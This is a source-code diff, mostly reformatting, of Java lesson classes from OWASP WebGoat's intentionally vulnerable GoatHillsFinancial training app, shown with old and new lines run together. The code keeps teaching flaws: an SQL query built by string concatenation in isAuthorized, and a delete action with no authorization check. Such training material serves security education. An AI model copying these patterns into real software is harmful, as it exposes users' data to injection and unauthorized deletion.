} }
@ -174,8 +169,7 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
value = Integer.parseInt(ss); value = Integer.parseInt(ss);
} } catch (NumberFormatException nfe)
catch (NumberFormatException nfe)
{ {
} }
} }
@ -199,20 +193,18 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement answer_statement = WebSession.getConnection(s)
ResultSet answer_results = answer_statement.executeQuery( query ); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
if (answer_results.next()) ResultSet answer_results = answer_statement.executeQuery(query);
name = answer_results.getString("first_name"); if (answer_results.next()) name = answer_results.getString("first_name");
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error getting user name" ); s.setMessage("Error getting user name");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error getting user name" ); s.setMessage("Error getting user name");
e.printStackTrace(); e.printStackTrace();
} }
@ -232,8 +224,7 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated");
} } catch (ParameterNotFoundException e)
catch (ParameterNotFoundException e)
{ {
} }
@ -242,45 +233,51 @@ public abstract class DefaultLessonAction implements LessonAction
public boolean isAuthorized(WebSession s, int employeeId, String functionId) public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{ {
String employer_id = (String)s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); String employer_id = (String) s.getRequest().getSession()
//System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + " having USER_ID = " + employer_id ); .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
// System.out.println("Authorizing " + employeeId + " for use of function: " + functionId +
// " having USER_ID = "
// + employer_id );
boolean authorized = false; boolean authorized = false;
try try
{ {
String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + employeeId + ") and functionid = '" + functionId + "'"; String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = "
+ employeeId + ") and functionid = '" + functionId + "'";
try try
{ {
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement answer_statement = WebSession.getConnection(s)
ResultSet answer_results = answer_statement.executeQuery( query ); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first(); authorized = answer_results.first();
/* User is validated for function, but can the user perform that function on the specified user? */ /*
if(authorized) * User is validated for function, but can the user perform that function on the
* specified user?
*/
if (authorized)
{ {
authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId);
} }
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error authorizing" ); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error authorizing" ); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
} }
//System.out.println("Authorized? " + authorized); // System.out.println("Authorized? " + authorized);
return authorized; return authorized;
} }
public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId) public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId)
{ {
//System.out.println("Authorizing " + userId + " for access to employee: " + employeeId); // System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
boolean authorized = false; boolean authorized = false;
try try
@ -290,22 +287,20 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query, PreparedStatement answer_statement = WebSession.getConnection(s)
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, userId); answer_statement.setInt(1, userId);
answer_statement.setInt(2, employeeId); answer_statement.setInt(2, employeeId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
authorized = answer_results.first(); authorized = answer_results.first();
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error authorizing" ); s.setMessage("Error authorizing");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error authorizing" ); s.setMessage("Error authorizing");
e.printStackTrace(); e.printStackTrace();
} }
@ -317,7 +312,8 @@ public abstract class DefaultLessonAction implements LessonAction
getLesson().setStage(s, stage); getLesson().setStage(s, stage);
} }
protected void setStageComplete(WebSession s, String stage) { protected void setStageComplete(WebSession s, String stage)
{
getLesson().setStageComplete(s, stage); getLesson().setStageComplete(s, stage);
} }

View File

@ -1,122 +1,111 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class DeleteProfile extends DefaultLessonAction public class DeleteProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
if (isAuthenticated(s))
{ {
deleteEmployeeProfile(s, userId, employeeId); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
else
throw new UnauthenticatedException();
} public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
public String getNextPage(WebSession s)
{
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword getLesson().setCurrentAction(s, getActionName());
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
try int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
{
Statement statement = WebSession.getConnection(s) if (isAuthenticated(s))
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, {
ResultSet.CONCUR_READ_ONLY); deleteEmployeeProfile(s, userId, employeeId);
statement.executeUpdate(query);
} try
catch (SQLException sqle) {
{ chainedAction.handleRequest(s);
s.setMessage("Error deleting employee profile"); } catch (UnauthenticatedException ue1)
sqle.printStackTrace(); {
} System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
} }
catch (Exception e)
public String getNextPage(WebSession s)
{ {
s.setMessage("Error deleting employee profile"); return GoatHillsFinancial.LISTSTAFF_ACTION;
e.printStackTrace(); }
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
// System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
} catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();
}
} }
}
} }

View File

@ -1,132 +1,115 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getUserId(s); super(lesson, lessonName, actionName);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
{ UnauthorizedException
return GoatHillsFinancial.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; getLesson().setCurrentAction(s, getActionName());
try if (isAuthenticated(s))
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getUserId(s);
profile = new Employee(answer_results.getInt("userid"), int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
answer_results.getString("first_name"),
answer_results.getString("last_name"), Employee employee = getEmployeeProfile(s, userId, employeeId);
answer_results.getString("ssn"), answer_results setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
.getString("title"), answer_results }
.getString("phone"), answer_results else
.getString("address1"), answer_results throw new UnauthenticatedException();
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; public String getNextPage(WebSession s)
} {
return GoatHillsFinancial.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
@ -11,180 +11,151 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class FindProfile extends DefaultLessonAction public class FindProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ GoatHillsFinancial.USER_ID); this.chainedAction = chainedAction;
}
String pattern = s.getParser().getRawParameter( public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
GoatHillsFinancial.SEARCHNAME); UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
findEmployeeProfile(s, userId, pattern); String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME);
// Execute the chained Action if the employee was found. findEmployeeProfile(s, userId, pattern);
if (foundEmployee(s))
{ // Execute the chained Action if the employee was found.
if (foundEmployee(s))
{
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION;
return page;
}
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try try
{ {
chainedAction.handleRequest(s); getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
} found = true;
catch (UnauthenticatedException ue1) } catch (ParameterNotFoundException e)
{ {
System.out.println("Internal server error");
ue1.printStackTrace();
} }
catch (UnauthorizedException ue2)
return found;
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
{
Employee profile = null;
// Clear any residual employee id's in the session now.
removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
// Query the database for the profile data of the given employee
try
{ {
System.out.println("Internal server error"); String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?";
ue2.printStackTrace();
}
}
}
else
throw new UnauthenticatedException();
}
try
{
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
public String getNextPage(WebSession s) // Just use the first hit.
{ if (answer_results.next())
String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; {
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
if (foundEmployee(s)) /*
page = GoatHillsFinancial.VIEWPROFILE_ACTION; * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
return page; */
} setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
}
} catch (SQLException sqle)
private boolean foundEmployee(WebSession s) {
{ s.setMessage("Error finding employee profile");
boolean found = false; sqle.printStackTrace();
try }
{ } catch (Exception e)
getIntRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
found = true;
}
catch (ParameterNotFoundException e)
{}
return found;
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
{
Employee profile = null;
// Clear any residual employee id's in the session now.
removeSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit.
if (answer_results.next())
{ {
int id = answer_results.getInt("userid"); s.setMessage("Error finding employee profile");
// Note: Do NOT get the password field. e.printStackTrace();
profile = new Employee(id, answer_results
.getString("first_name"), answer_results
.getString("last_name"), answer_results
.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(id));
} }
}
catch (SQLException sqle)
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error finding employee profile");
e.printStackTrace();
}
return profile; return profile;
} }
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Hashtable; import java.util.Hashtable;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -16,317 +16,312 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class GoatHillsFinancial extends RandomLessonAdapter public class GoatHillsFinancial extends RandomLessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
public final static String DESCRIPTION = "description"; public final static String DESCRIPTION = "description";
public final static String DISCIPLINARY_DATE = "disciplinaryDate"; public final static String DISCIPLINARY_DATE = "disciplinaryDate";
public final static String DISCIPLINARY_NOTES = "disciplinaryNotes"; public final static String DISCIPLINARY_NOTES = "disciplinaryNotes";
public final static String CCN_LIMIT = "ccnLimit"; public final static String CCN_LIMIT = "ccnLimit";
public final static String CCN = "ccn"; public final static String CCN = "ccn";
public final static String SALARY = "salary"; public final static String SALARY = "salary";
public final static String START_DATE = "startDate"; public final static String START_DATE = "startDate";
public final static String MANAGER = "manager"; public final static String MANAGER = "manager";
public final static String ADDRESS1 = "address1"; public final static String ADDRESS1 = "address1";
public final static String ADDRESS2 = "address2"; public final static String ADDRESS2 = "address2";
public final static String PHONE_NUMBER = "phoneNumber"; public final static String PHONE_NUMBER = "phoneNumber";
public final static String TITLE = "title"; public final static String TITLE = "title";
public final static String SSN = "ssn"; public final static String SSN = "ssn";
public final static String LAST_NAME = "lastName"; public final static String LAST_NAME = "lastName";
public final static String FIRST_NAME = "firstName"; public final static String FIRST_NAME = "firstName";
public final static String PASSWORD = "password"; public final static String PASSWORD = "password";
public final static String EMPLOYEE_ID = "employee_id"; public final static String EMPLOYEE_ID = "employee_id";
public final static String USER_ID = "user_id"; public final static String USER_ID = "user_id";
public final static String SEARCHNAME = "search_name"; public final static String SEARCHNAME = "search_name";
public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult"; public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult";
public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee"; public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee";
